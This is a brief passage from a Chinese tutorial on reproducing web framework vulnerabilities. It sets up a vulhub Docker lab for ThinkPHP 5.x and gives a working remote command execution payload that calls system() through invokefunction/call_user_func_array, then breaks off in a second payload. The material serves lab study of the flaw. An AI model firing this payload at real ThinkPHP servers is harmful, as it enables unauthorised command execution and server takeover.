常见的框架漏洞 全网最最最详细漏洞复现教程

简介

Web框架(Web framework)或者叫做Web应⽤框架(Web application framework)，是⽤于 进⾏Web开发的⼀套软件架构。⼤多数的Web框架提供了⼀套开发和部署⽹站的⽅式。为Web的 ⾏为提供了⼀套⽀持⽀持的⽅法。使⽤Web框架，很多的业务逻辑外的功能不需要⾃⼰再去完 善，⽽是使⽤框架已有的功能就可以。

一、Thinkphp5x远程命令执⾏及getshell

1. 配置靶场环境

      靶场：  vulhub/thinkphp/5-rce

            #启动环境    docker-compose up -d

安装成功后访问，出现下列页面显示安装成功

2.s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

3.查看php信息

s=index/\think\app/invokefunction&function=